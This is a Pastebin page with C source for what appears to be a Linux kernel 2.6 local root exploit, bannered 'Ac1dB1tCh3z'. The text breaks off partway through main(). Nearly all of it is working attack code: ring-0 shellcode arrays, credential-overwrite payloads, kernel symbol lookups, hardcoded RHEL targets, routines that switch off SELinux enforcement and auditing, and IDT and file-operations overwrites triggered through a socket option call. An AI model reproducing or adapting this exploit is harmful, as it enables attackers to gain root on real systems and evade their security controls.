API tools faq
paste
aekaek

rootme1

aekaek
Jan 15th, 2018
149
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.31 KB | None | 0 0
raw download clone embed print report
  1. #include <poll.h>
  2. #include <string.h>
  3. #include <unistd.h>
  4. #include <sys/types.h>
  5. #include <stdlib.h>
  6. #include <sys/wait.h>
  7. #include <sys/utsname.h>
  8. #include <sys/socket.h>
  9. #include <sched.h>
  10. #include <netinet/in.h>
  11. #include <stdio.h>
  12. #include <sys/stat.h>
  13. #include <fcntl.h>
  14. #include <sys/mman.h>
  15. #include <sys/ipc.h>
  16. #include <sys/msg.h>
  17. #include <errno.h>
  18.  
  19.  
  20. #ifndef __i386__
  21. #error "r34d th3 c0d3 m0r0n!!#@#"
  22. #else
  23. #define _GNU_SOURCE
  24. #define __dgdhdytrg55 unsigned int
  25. #define __yyrhdgdtfs66ytgetrfd unsigned long long
  26. #define __dhdyetgdfstreg__ memcpy
  27.  
  28. #define VERT "\033[32m"
  29. #define NORM "\033[0m"
  30. #define BANNER VERT"Ac1dB1tCh3z "NORM"VS Linux kernel 2.6 kernel 0d4y\n"
  31.  
  32. #define KALLSYMS "/proc/kallsyms"
  33. #define TMAGIC_66TDFDRTS "/proc/timer_list"
  34. #define SELINUX_PATH "/selinux/enforce"
  35. #define RW_FOPS "timer_list_fops"
  36. #define PER_C_DHHDYDGTREM7765 "per_cpu__current_task"
  37. #define PREPARE_GGDTSGFSRFSD "prepare_creds"
  38. #define OVERRIDE_GGDTSGFSRFSD "override_creds"
  39. #define REVERT_DHDGTRRTEFDTD "revert_creds"
  40. #define Y0Y0SMAP 0x100000UL
  41. #define Y0Y0CMAP 0x200000UL
  42. #define Y0Y0STOP (Y0Y0SMAP+0xFFC)
  43. #define J0J0S 0x00200000UL
  44. #define J0J0R00T 0x002000F0UL
  45. #define PAGE_SIZE 0x1000
  46.  
  47. #define KERN_DHHDYTMLADSFPYT 0x1
  48. #define KERN_DGGDYDTEGGETFDRLAK 0x2
  49. #define KERN_HHSYPPLORQTWGFD 0x4
  50.  
  51.  
  52. #define KERN_DIS_GGDYYTDFFACVFD_IDT 0x8
  53. #define KERN_DIS_DGDGHHYTTFSR34353_FOPS 0x10
  54. #define KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM 0x20
  55.  
  56. #define KERN_DIS_GGSTEYGDTREFRET_SEL1NUX 0x40
  57.  
  58. #define isRHHGDPPLADSF(ver) (strstr(ver, ".el4") || strstr(ver,".el5"))
  59.  
  60. #define TRY_REMAP_DEFAULT 1
  61.  
  62. #define __gggdfstsgdt_dddex(f, a...) do { fprintf(stdout, f, ## a); } while(0)
  63. #define __pppp_tegddewyfg(s) do { fprintf(stdout, "%s", s); } while(0)
  64. #define __xxxfdgftr_hshsgdt(s) do { perror(s); exit(-1); } while(0)
  65. #define __yyy_tegdtfsrer(s) do { fprintf(stderr, s); exit(-1); } while(0)
  66.  
  67. static char buffer[1024];
  68. static int s;
  69. static int flags=0;
  70. volatile static socklen_t magiclen=0;
  71. static int useidt=0, usefops=0, uselsm=0;
  72. static __yyrhdgdtfs66ytgetrfd _m_fops=0,_m_cred[3] = {0,0,0};
  73. static __dgdhdytrg55 _m_cpu_off=0;
  74. static char krelease[64];
  75. static char kversion[128];
  76.  
  77. #define R0C_0FF 14
  78. static char ttrg0ccc[]=
  79. "\x51\x57\x53\x56\x48\x31\xc9\x48\x89\xf8\x48\x31\xf6\xbe\x41\x41\x41\x41"
  80. "\x3b\x30\x75\x1f\x3b\x70\x04\x75\x1a\x3b\x70\x08\x75\x15\x3b\x70\x0c"
  81. "\x75\x10\x48\x31\xdb\x89\x18\x89\x58\x04\x89\x58\x08\x89\x58\x0c\xeb\x11"
  82. "\x48\xff\xc0\x48\xff\xc1\x48\x81\xf9\x4c\x04\x00\x00\x74\x02"
  83. "\xeb\xcc\x5e\x5b\x5f\x59\xc3";
  84.  
  85.  
  86. #define R0YTTTTUHLFSTT_OFF1 5
  87. #define R0YGGSFDARTDF_DHDYTEGRDFD_D 21
  88. #define R0TDGFSRSLLSJ_SHSYSTGD 45
  89. char r1ngrrrrrrr[]=
  90. "\x53\x52\x57\x48\xbb\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd3"
  91. "\x50\x48\x89\xc7\x48\xbb\x42\x42\x42\x42\x42\x42\x42\x42"
  92. "\xff\xd3\x48\x31\xd2\x89\x50\x04\x89\x50\x14\x48\x89\xc7"
  93. "\x48\xbb\x43\x43\x43\x43\x43\x43\x43\x43"
  94. "\xff\xd3\x5f\x5f\x5a\x5b\xc3";
  95.  
  96.  
  97. #define RJMPDDTGR_OFF 13
  98. #define RJMPDDTGR_DHDYTGSCAVSF 7
  99. #define RJMPDDTGR_GDTDGTSFRDFT 25
  100. static char ttrfd0[]=
  101. "\x57\x50\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  102. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
  103. "\x58\x5f"
  104. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  105. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  106. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  107. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  108. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  109. "\xc3";
  110.  
  111.  
  112. /* implement selinux bypass for IDT ! */
  113. #define RJMPDDTGR_OFF_IDT 14
  114. #define RJMPDDTGR_DYHHTSFDARE 8
  115. #define RJMPDDTGR_DHDYSGTSFDRTAC_SE 27
  116. static char ruujhdbgatrfe345[]=
  117. "\x0f\x01\xf8\x65\x48\x8b\x3c\x25\x00\x00\x00\x00"
  118. "\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xd0"
  119. "\x0f\x01\xf8"
  120. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  121. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  122. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  123. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  124. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  125. "\x48\xcf";
  126.  
  127.  
  128.  
  129. #define CJE_4554TFFDTRMAJHD_OFF 10
  130. #define RJMPDDTGR_AYYYDGTREFCCV7761_OF 23
  131. static char dis4blens4sel1nuxhayettgdr64545[]=
  132. "\x41\x52\x50"
  133. "\xb8\x00\x00\x00\x00"
  134. "\x49\xba\x41\x41\x41\x41\x41\x41\x41\x41"
  135. "\x41\x89\x02"
  136. "\x49\xba\x42\x42\x42\x42\x42\x42\x42\x42"
  137. "\x41\x89\x02"
  138. "\x58\x41\x5a";
  139.  
  140.  
  141.  
  142.  
  143. /* rhel LSM stuffs */
  144. #define RHEL_LSM_OFF 98
  145.  
  146. struct LSM_rhel
  147. {
  148. __yyrhdgdtfs66ytgetrfd selinux_ops;
  149. __yyrhdgdtfs66ytgetrfd capability_ops;
  150. __yyrhdgdtfs66ytgetrfd dummy_security_ops;
  151.  
  152. __yyrhdgdtfs66ytgetrfd selinux_enforcing;
  153. __yyrhdgdtfs66ytgetrfd audit_enabled;
  154.  
  155. const char *krelease;
  156. const char *kversion;
  157.  
  158. };
  159.  
  160. struct LSM_rhel known_targets[4]=
  161. {
  162. {
  163. 0xffffffff8031e600ULL,
  164. 0xffffffff8031fec0ULL,
  165. 0xffffffff804acc00ULL,
  166.  
  167. 0xffffffff804af960ULL,
  168. 0xffffffff8049b124ULL,
  169.  
  170. "2.6.18-164.el5",
  171. "#1 SMP Thu Sep 3 03:28:30 EDT 2009" // to manage minor/bug fix changes
  172. },
  173. {
  174. 0xffffffff8031f600ULL,
  175. 0xffffffff80320ec0ULL,
  176. 0xffffffff804afc00ULL,
  177.  
  178. 0xffffffff804b2960ULL,
  179. 0xffffffff8049e124ULL,
  180.  
  181. "2.6.18-164.11.1.el5",
  182. "#1 SMP Wed Jan 6 13:26:04 EST 2010"
  183. },
  184. {
  185. 0xffffffff805296a0ULL,
  186. 0xffffffff8052af60ULL,
  187. 0xffffffff806db1e0ULL,
  188.  
  189. 0xffffffff806ddf40ULL,
  190. 0xffffffff806d5324ULL,
  191.  
  192. "2.6.18-164.11.1.el5xen",
  193. "#1 SMP Wed Jan 20 08:06:04 EST 2010" // default xen
  194. },
  195. {
  196. 0xffffffff8031f600ULL,// d selinux_ops
  197. 0xffffffff80320ec0ULL,// d capability_ops
  198. 0xffffffff804afc00ULL,// B dummy_security_ops
  199.  
  200. 0xffffffff804b2960ULL,// B selinux_enforcing
  201. 0xffffffff8049e124ULL,// B audit_enabled
  202.  
  203. "2.6.18-164.11.1.el5",
  204. "#1 SMP Wed Jan 20 07:32:21 EST 2010" // tripwire target LoL
  205. }
  206.  
  207. };
  208.  
  209. static struct LSM_rhel *curr_target=NULL, dyn4nt4n1labeggeyrthryt;
  210.  
  211. struct socketcallAT
  212. {
  213. int s;
  214. int level;
  215. int optname;
  216. void *optval;
  217. volatile socklen_t *optlen;
  218. }__attribute__((packed));
  219.  
  220. struct idt64from32_s
  221. {
  222. unsigned short limit;
  223. unsigned long base;
  224. }__attribute__((packed));
  225.  
  226. static __yyrhdgdtfs66ytgetrfd getidt()
  227. {
  228. struct idt64from32_s idt;
  229. memset(&idt, 0x00, sizeof(struct idt64from32_s));
  230. asm volatile("sidt %0" : "=m"(idt));
  231. return idt.base | 0xFFFFFFFF00000000ULL;
  232. }
  233.  
  234.  
  235. static int isSelinuxEnabled()
  236. {
  237. FILE *selinux_f;
  238. selinux_f = fopen(SELINUX_PATH, "r");
  239. if(selinux_f == NULL)
  240. {
  241. if(errno == EPERM)
  242. return 1;
  243. else
  244. return 0;
  245. }
  246.  
  247. fclose(selinux_f);
  248. return 1;
  249. }
  250.  
  251. static int wtfyourunhere_heee(char *out_release, char* out_version)
  252. {
  253. int ret; const char*ptr;
  254. int count=0;
  255. char r[32], *bptr;
  256. struct utsname buf;
  257. ret = uname(&buf);
  258.  
  259. if(ret < 0)
  260. return -1;
  261.  
  262. strcpy(out_release, buf.release);
  263. strcpy(out_version, buf.version);
  264.  
  265. ptr = buf.release;
  266. bptr = r;
  267. memset(r, 0x00, sizeof(r));
  268. while(*ptr)
  269. {
  270. if(count == 2)
  271. {
  272. if(*ptr >= '0' && *ptr <= '9')
  273. *bptr++ = *ptr;
  274. else
  275. break;
  276. }
  277.  
  278. if(*ptr == '.')
  279. count++;
  280. ptr++;
  281. }
  282.  
  283. if(strlen(r) < 1 || !atoi(r))
  284. return -1;
  285.  
  286. return atoi(r);
  287. }
  288.  
  289.  
  290. static void p4tch_sel1nux_codztegfaddczda(struct LSM_rhel *table)
  291. {
  292. *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + CJE_4554TFFDTRMAJHD_OFF)) = table->selinux_enforcing;
  293. *((__yyrhdgdtfs66ytgetrfd *)(dis4blens4sel1nuxhayettgdr64545 + RJMPDDTGR_AYYYDGTREFCCV7761_OF)) = table->audit_enabled;
  294. __dhdyetgdfstreg__(ttrfd0 + RJMPDDTGR_GDTDGTSFRDFT, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  295. __dhdyetgdfstreg__(ruujhdbgatrfe345 + RJMPDDTGR_DHDYSGTSFDRTAC_SE, dis4blens4sel1nuxhayettgdr64545, sizeof(dis4blens4sel1nuxhayettgdr64545)-1);
  296. }
  297.  
  298.  
  299. static __yyrhdgdtfs66ytgetrfd get_sym_ex(const char* s, const char* filename, int ignore_flag)
  300. {
  301. FILE *ka;
  302. char line[512];
  303. char reloc_a[64];
  304. char reloc[64];
  305.  
  306. if(!(flags & KERN_HHSYPPLORQTWGFD) && !ignore_flag)
  307. return 0;
  308.  
  309. ka = fopen(filename, "r");
  310. if(!ka)
  311. return 0;
  312.  
  313. while(fgets(line, 512, ka) != NULL)
  314. {
  315. char *l_p = line;
  316. char *ra_p = reloc_a;
  317. char *r_p = reloc;
  318. memset(reloc, 0x00, sizeof(reloc));
  319. memset(reloc_a, 0x00, sizeof(reloc_a));
  320. while(*l_p != ' ' && (ra_p - reloc_a) < 64)
  321. *ra_p++ = *l_p++;
  322. l_p += 3;
  323. while(*l_p != ' ' && *l_p != '\n' && *l_p != '\t' && (r_p - reloc) < 64)
  324. *r_p++ = *l_p++;
  325.  
  326. if(!strcmp(reloc, s))
  327. {
  328. __gggdfstsgdt_dddex("$$$ %s->%s\n", s, reloc_a);
  329. return strtoull(reloc_a, NULL, 16);
  330. }
  331. }
  332.  
  333. return 0;
  334. }
  335.  
  336.  
  337. static inline __yyrhdgdtfs66ytgetrfd get_sym(const char* s)
  338. {
  339. return get_sym_ex(s, KALLSYMS, 0);
  340. }
  341.  
  342. static int parse_cred(const char* val)
  343. {
  344. int i=0;
  345. const char* p = val;
  346. char local[64], *l;
  347. for(i=0; i<3; i++)
  348. {
  349. memset(local, 0x00, sizeof(local));
  350. l = local;
  351. while(*p && *p != ',')
  352. *l++ = *p++;
  353.  
  354. if(!(*p) && i != 2)
  355. return -1;
  356.  
  357. _m_cred[i] = strtoull(local, NULL, 16);
  358. p++;
  359. }
  360.  
  361. return 0;
  362. }
  363.  
  364.  
  365. #define SELINUX_OPS "selinux_ops"
  366. #define DUMMY_SECURITY_OPS "dummy_security_ops"
  367. #define CAPABILITY_OPS "capability_ops"
  368. #define SELINUX_ENFORCING "selinux_enforcing"
  369. #define AUDIT_ENABLED "audit_enabled"
  370.  
  371. struct LSM_rhel *lsm_rhel_find_target(int check_rhel)
  372. {
  373. int i;
  374. char mapbuf[128];
  375. struct LSM_rhel *lsm = &(known_targets[0]);
  376.  
  377. if(check_rhel && !isRHHGDPPLADSF(krelease))
  378. {
  379. __pppp_tegddewyfg("!!! N0t a RH3l k3rn3l \n");
  380. return NULL;
  381. }
  382.  
  383. __pppp_tegddewyfg("$$$ L00k1ng f0r kn0wn t4rg3tz.. \n");
  384. for(i=0; i<sizeof(known_targets)/sizeof(struct LSM_rhel); i++, lsm++)
  385. {
  386. if(!strcmp(krelease, lsm->krelease) && !strcmp(kversion, lsm->kversion))
  387. {
  388. __gggdfstsgdt_dddex("$$$ Th1z b1tch 1z t0azt. kn0wn t4rg3t: %s %s \n", lsm->krelease, lsm->kversion);
  389. return lsm;
  390. }
  391. }
  392.  
  393. __pppp_tegddewyfg("$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...\n");
  394. strcpy(mapbuf, "/boot/System.map-");
  395. strcat(mapbuf, krelease);
  396.  
  397. dyn4nt4n1labeggeyrthryt.selinux_ops = get_sym_ex(SELINUX_OPS, mapbuf, 1);
  398. dyn4nt4n1labeggeyrthryt.dummy_security_ops = get_sym_ex(DUMMY_SECURITY_OPS, mapbuf, 1);
  399. dyn4nt4n1labeggeyrthryt.capability_ops = get_sym_ex(CAPABILITY_OPS, mapbuf, 1);
  400. dyn4nt4n1labeggeyrthryt.selinux_enforcing = get_sym_ex(SELINUX_ENFORCING, mapbuf, 1);
  401. dyn4nt4n1labeggeyrthryt.audit_enabled = get_sym_ex(AUDIT_ENABLED, mapbuf, 1);
  402.  
  403.  
  404. if(!dyn4nt4n1labeggeyrthryt.selinux_ops ||
  405. !dyn4nt4n1labeggeyrthryt.dummy_security_ops ||
  406. !dyn4nt4n1labeggeyrthryt.capability_ops ||
  407. !dyn4nt4n1labeggeyrthryt.selinux_enforcing ||
  408. !dyn4nt4n1labeggeyrthryt.audit_enabled)
  409. return NULL;
  410.  
  411.  
  412. return &dyn4nt4n1labeggeyrthryt;
  413. }
  414.  
  415. static void put_your_hands_up_hooker(int argc, char *argv[])
  416. {
  417. int fd,ver,ret;
  418. char __b[16];
  419.  
  420.  
  421. fd = open(KALLSYMS, O_RDONLY);
  422. ret = read(fd, __b, 16); // dummy read
  423. if((fd >= 0 && ret > 0))
  424. {
  425. __pppp_tegddewyfg("$$$ Kallsyms +r\t\n"); // d0nt p4tch m3 br0
  426. flags |= KERN_HHSYPPLORQTWGFD;
  427. }
  428. close(fd);
  429.  
  430. ver = wtfyourunhere_heee(krelease, kversion);
  431. if(ver < 0)
  432. __yyy_tegdtfsrer("!!! Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!\n");
  433.  
  434. __gggdfstsgdt_dddex("$$$ K3rn3l r3l3as3: %s\n", krelease);
  435.  
  436.  
  437. if(argc != 1)
  438. {
  439. while( (ret = getopt(argc, argv, "siflc:k:o:")) > 0)
  440. {
  441. switch(ret)
  442. {
  443. case 'i':
  444. flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  445. useidt=1; // u have to use -i to force IDT Vector
  446. break;
  447.  
  448. case 'f':
  449. flags |= KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM|KERN_DIS_GGDYYTDFFACVFD_IDT;
  450. break;
  451.  
  452. case 'l':
  453. flags |= KERN_DIS_GGDYYTDFFACVFD_IDT|KERN_DIS_DGDGHHYTTFSR34353_FOPS;
  454. break;
  455.  
  456. case 'c':
  457. if(!optarg || parse_cred(optarg) < 0)
  458. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4s3 cr3d c0d3z\n");
  459. break;
  460.  
  461. case 'k':
  462. if(optarg)
  463. _m_fops = strtoull(optarg, NULL, 16);
  464. else
  465. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0P numb3rs\n");
  466. break;
  467.  
  468. case 's':
  469. if(!isSelinuxEnabled())
  470. __pppp_tegddewyfg("??? wh4t th3 fuq s3l1nux 1z n0t 3v3n 3n4bl3d!?\n");
  471. else
  472. flags |= KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  473. break;
  474.  
  475. case 'o':
  476. if(optarg)
  477. _m_cpu_off = strtoull(optarg, NULL, 16);
  478. else
  479. __yyy_tegdtfsrer("!!! Un4bl3 t0 p4rs3 f0p c0mput3r numb3rs\n");
  480. break;
  481. }
  482. }
  483. }
  484.  
  485.  
  486. if(ver >= 29) // needs cred structure
  487. {
  488. flags |= KERN_DGGDYDTEGGETFDRLAK;
  489.  
  490. if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  491. {
  492. _m_cred[0] = get_sym(PREPARE_GGDTSGFSRFSD);
  493. _m_cred[1] = get_sym(OVERRIDE_GGDTSGFSRFSD);
  494. _m_cred[2] = get_sym(REVERT_DHDGTRRTEFDTD);
  495. }
  496.  
  497. if(!_m_cred[0] || !_m_cred[1] || !_m_cred[2])
  498. {
  499. __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  500. }
  501.  
  502. __pppp_tegddewyfg("$$$ Kernel Credentials detected\n");
  503. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YTTTTUHLFSTT_OFF1)) = _m_cred[0];
  504. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0YGGSFDARTDF_DHDYTEGRDFD_D)) = _m_cred[1];
  505. *((__yyrhdgdtfs66ytgetrfd *)(r1ngrrrrrrr + R0TDGFSRSLLSJ_SHSYSTGD)) = _m_cred[2];
  506. }
  507.  
  508. if(ver >= 30) // needs cpu offset
  509. {
  510. flags |= KERN_DHHDYTMLADSFPYT;
  511. if(!_m_cpu_off)
  512. _m_cpu_off = (__dgdhdytrg55)get_sym(PER_C_DHHDYDGTREM7765);
  513.  
  514. if(!_m_cpu_off)
  515. __yyy_tegdtfsrer("!!! Err0r 1n s3tt1ng cr3d sh3llc0d3z\n");
  516.  
  517. __pppp_tegddewyfg("$$$ K3rn3l per_cpu r3l0cs 3n4bl3d!\t\n");
  518. *((__dgdhdytrg55 *)(ttrfd0 + RJMPDDTGR_DHDYTGSCAVSF)) = _m_cpu_off;
  519. *((__dgdhdytrg55 *)(ruujhdbgatrfe345 + RJMPDDTGR_DYHHTSFDARE)) = _m_cpu_off;
  520. }
  521. }
  522.  
  523.  
  524. static void env_prepare(int argc, char* argv[])
  525. {
  526.  
  527. put_your_hands_up_hooker(argc, argv);
  528.  
  529. if(!(flags & KERN_DIS_DGDGHHYTTFSR34353_FOPS)) // try fops
  530. {
  531. __pppp_tegddewyfg("??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d\n");
  532. if(!_m_fops)
  533. _m_fops = get_sym(RW_FOPS);
  534.  
  535. /* TODO: do RW check for newer -mm kernels which has timer_list_struct RO
  536. * Thanks to the guy who killed this vector... you know who you are:)
  537. * Lucky for you, there are more:)
  538. */
  539.  
  540. if(_m_fops)
  541. {
  542. usefops=1;
  543. __pppp_tegddewyfg("$$$ w34p0n 0f ch01c3: F0PZzZzzz\n");
  544. }
  545. }
  546.  
  547.  
  548. if(!usefops && !(flags & KERN_DIS_GGDHHDYQEEWR4432PPOI_LSM)) // try lsm(rhel)
  549. {
  550. curr_target = lsm_rhel_find_target(1);
  551. if(!curr_target)
  552. {
  553. __pppp_tegddewyfg("!!! u4bl3 t0 f1nd t4rg3t!? W3'll s33 ab0ut th4t!\n");
  554. }
  555. else
  556. uselsm=1;
  557. }
  558.  
  559.  
  560. if(useidt && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  561. {
  562. // -i flag
  563. curr_target = lsm_rhel_find_target(0);
  564. if(!curr_target)
  565. {
  566. __pppp_tegddewyfg("!!! Un4lb3 t0 f1nd t4rg3t: c0ntinu3 w1th0ut s3linsux d1s4bl3.\n");
  567. /* remove Selinux Flag */
  568. flags &= ~KERN_DIS_GGSTEYGDTREFRET_SEL1NUX;
  569. }
  570. }
  571.  
  572.  
  573. if(!usefops && !useidt && !uselsm)
  574. __yyy_tegdtfsrer("!!! 3v3ryth3ng f41l3d!!*@&^@&*^@* try an0th3r 0d4y L0l\n");
  575. }
  576.  
  577.  
  578. static inline int get_socklen(__yyrhdgdtfs66ytgetrfd addr, __dgdhdytrg55 stack)
  579. {
  580. int socklen_l = 8 + stack - addr - 16;
  581. return socklen_l;
  582. }
  583.  
  584. static struct socketcallAT at;
  585. static __dgdhdytrg55 idtover[4] =
  586. {0x00100000UL,
  587. 0x0020ee00UL,
  588. 0x00000000UL,
  589. 0x00000000UL};
  590.  
  591.  
  592. static void fillsocketcallAT()
  593. {
  594. at.s = s;
  595. at.level = SOL_IP;
  596. at.optname = MCAST_MSFILTER;
  597. at.optval = buffer;
  598. at.optlen = &magiclen;
  599. }
  600.  
  601.  
  602. static void bitch_call(struct socketcallAT *at, void *stack)
  603. {
  604. asm volatile(
  605. "push %%ebx\t\n"
  606. "push %%esi\t\n"
  607. "push %%ecx\t\n"
  608. "push %%edx\t\n"
  609. "movl $0x66, %%eax\t\n"
  610. "movl $0xf, %%ebx\t\n"
  611. "movl %%esp, %%esi\t\n"
  612. "movl %0, %%ecx\t\n"
  613. "movl %1, %%esp\t\n"
  614. "int $0x80\t\n"
  615. "movl %%esi, %%esp\t\n"
  616. "pop %%edx\t\n"
  617. "pop %%ecx\t\n"
  618. "pop %%esi\t\n"
  619. "pop %%ebx\t\n"
  620. : : "r"(at), "r"(stack) : "memory", "eax", "ecx", "ebx", "esi"
  621. );
  622. }
  623.  
  624. static void __setmcbuffer(__dgdhdytrg55 value)
  625. {
  626. int i;
  627. __dgdhdytrg55 *p = (__dgdhdytrg55*)buffer;
  628. for(i=0; i<sizeof(buffer)/sizeof(void*); i++)
  629. *(p+i) = value;
  630. }
  631.  
  632. static void idt_smash(__yyrhdgdtfs66ytgetrfd idtbase)
  633. {
  634. int i;
  635. __dgdhdytrg55 curr;
  636. for(i=0; i<sizeof(idtover)/sizeof(idtover[0]);i++)
  637. {
  638. curr = idtover[i];
  639. __setmcbuffer(curr);
  640. magiclen = get_socklen(idtbase + (i*4), Y0Y0STOP);
  641. bitch_call(&at, (void*)Y0Y0STOP);
  642. }
  643. }
  644.  
  645.  
  646. static void y0y0stack()
  647. {
  648. void* map = mmap((void*)Y0Y0SMAP,
  649. PAGE_SIZE,
  650. PROT_READ|PROT_WRITE,
  651. MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  652. -1,0);
  653. if(MAP_FAILED == map)
  654. __xxxfdgftr_hshsgdt("mmap");
  655. }
  656.  
  657. static void y0y0code()
  658. {
  659. void* map = mmap((void*)Y0Y0CMAP,
  660. PAGE_SIZE,
  661.  
  662. #ifdef TRY_REMAP_DEFAULT
  663. PROT_READ|PROT_WRITE,
  664. #else
  665. PROT_READ|PROT_WRITE|PROT_EXEC,
  666. #endif
  667. MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
  668. -1,0);
  669. if(MAP_FAILED == map)
  670. __xxxfdgftr_hshsgdt("mmap");
  671.  
  672. }
  673.  
  674.  
  675. static int rey0y0code(unsigned long old)
  676. {
  677. int fd;
  678. void *map;
  679. volatile char wizard;
  680. char cwd[1024];
  681.  
  682. getcwd(cwd, sizeof(cwd));
  683. strcat(cwd, "/__tmpfile");
  684.  
  685. unlink(cwd);
  686. fd = open(cwd, O_RDWR|O_CREAT, S_IRWXU);
  687. if(fd < 0)
  688. return -1;
  689.  
  690. write(fd, (const void*)old, PAGE_SIZE);
  691. if(munmap((void*)old, PAGE_SIZE) < 0)
  692. return -1;
  693.  
  694. map = mmap((void*)old,
  695. PAGE_SIZE,
  696. PROT_READ|PROT_EXEC,
  697. MAP_PRIVATE|MAP_FIXED,
  698. fd,0);
  699. if(map == MAP_FAILED)
  700. return -1;
  701.  
  702. /* avoid lazy page fault handler
  703. * Triple Fault when using idt vector
  704. * and no pages are already mapped:)
  705. */
  706.  
  707. wizard = *((char*)old);
  708. unlink(cwd);
  709. return wizard;
  710. }
  711.  
  712.  
  713. int main(int argc, char*argv[])
  714. {
  715. int uid,fd;
  716. __yyrhdgdtfs66ytgetrfd *patch, idtb;
  717. struct pollfd pfd;
  718.  
  719.  
  720. printf(BANNER);
  721.  
  722. uid = getuid();
  723.  
  724. env_prepare(argc, argv);
  725.  
  726. y0y0stack();
  727. y0y0code();
  728.  
  729. if(useidt)
  730. {
  731. idtb = getidt();
  732. __gggdfstsgdt_dddex("$$$ h0m3 b4s3 addr3ss: %llx\n", idtb);
  733. __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - IDT m3th34d\n");
  734. patch = (__yyrhdgdtfs66ytgetrfd*)(ruujhdbgatrfe345 + RJMPDDTGR_OFF_IDT);
  735. *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  736.  
  737. __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  738.  
  739. if(flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX)
  740. {
  741. __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  742. p4tch_sel1nux_codztegfaddczda(curr_target);
  743. }
  744.  
  745. __dhdyetgdfstreg__((void*)J0J0S, ruujhdbgatrfe345, sizeof(ruujhdbgatrfe345));
  746. }
  747. else if(usefops || uselsm)
  748. {
  749. __pppp_tegddewyfg("$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d\n");
  750. patch = (__yyrhdgdtfs66ytgetrfd*)(ttrfd0 + RJMPDDTGR_OFF);
  751. *patch = (__yyrhdgdtfs66ytgetrfd)(J0J0R00T);
  752.  
  753. __setmcbuffer(J0J0S);
  754.  
  755. __pppp_tegddewyfg("$$$ Prepare: m0rn1ng w0rk0ut b1tch3z\n");
  756. if(uselsm && (flags & KERN_DIS_GGSTEYGDTREFRET_SEL1NUX))
  757. {
  758. __pppp_tegddewyfg("$$$ add1ng sp3c14l c0de t0 rem0v3 s3linux t3rr0r1zt thr34t\n");
  759. p4tch_sel1nux_codztegfaddczda(curr_target);
  760. }
  761. __dhdyetgdfstreg__((void*)J0J0S, ttrfd0, sizeof(ttrfd0));
  762. }
  763.  
  764.  
  765.  
  766. /* set shellcode level 2 */
  767. if(flags & KERN_DGGDYDTEGGETFDRLAK)
  768. {
  769. __pppp_tegddewyfg("$$$ Us1ng cr3d s3ash3llc0d3z\n");
  770. __dhdyetgdfstreg__((void*)J0J0R00T, r1ngrrrrrrr, sizeof(r1ngrrrrrrr));
  771. }
  772. else
  773. {
  774. __pppp_tegddewyfg("$$$ Us1ng st4nd4rd s3ash3llz\n");
  775. __dhdyetgdfstreg__((void*)J0J0R00T, ttrg0ccc, sizeof(ttrg0ccc));
  776. *((unsigned int*)(J0J0R00T + R0C_0FF)) = uid;
  777. }
  778.  
  779. __pppp_tegddewyfg("$$$ 0p3n1ng th3 m4giq p0rt4l\n");
  780. s = socket(AF_INET, SOCK_DGRAM, 0);
  781. if(s < 0)
  782. __xxxfdgftr_hshsgdt("socket");
  783.  
  784. fillsocketcallAT();
  785.  
  786.  
  787. #ifdef TRY_REMAP_DEFAULT
  788. if(rey0y0code(Y0Y0CMAP) < 0)
  789. __yyy_tegdtfsrer("!!! Un4bl3 t0 r3m4p sh1t\t\n");
  790. #endif
  791.  
  792. if(useidt)
  793. {
  794.  
  795. __yyrhdgdtfs66ytgetrfd idtentry = idtb + (2*sizeof(__yyrhdgdtfs66ytgetrfd)*0xdd);
  796. __gggdfstsgdt_dddex("$$$ Us1ng 1dt 3ntry: %d\n", 0xdd);
  797. idt_smash((idtentry));
  798.  
  799. sleep(1);
  800. asm volatile("int $0xdd\t\n");
  801. }
  802. else if(usefops)
  803. {
  804. magiclen = get_socklen(_m_fops, Y0Y0STOP);
  805. magiclen -= 7*sizeof(__yyrhdgdtfs66ytgetrfd);
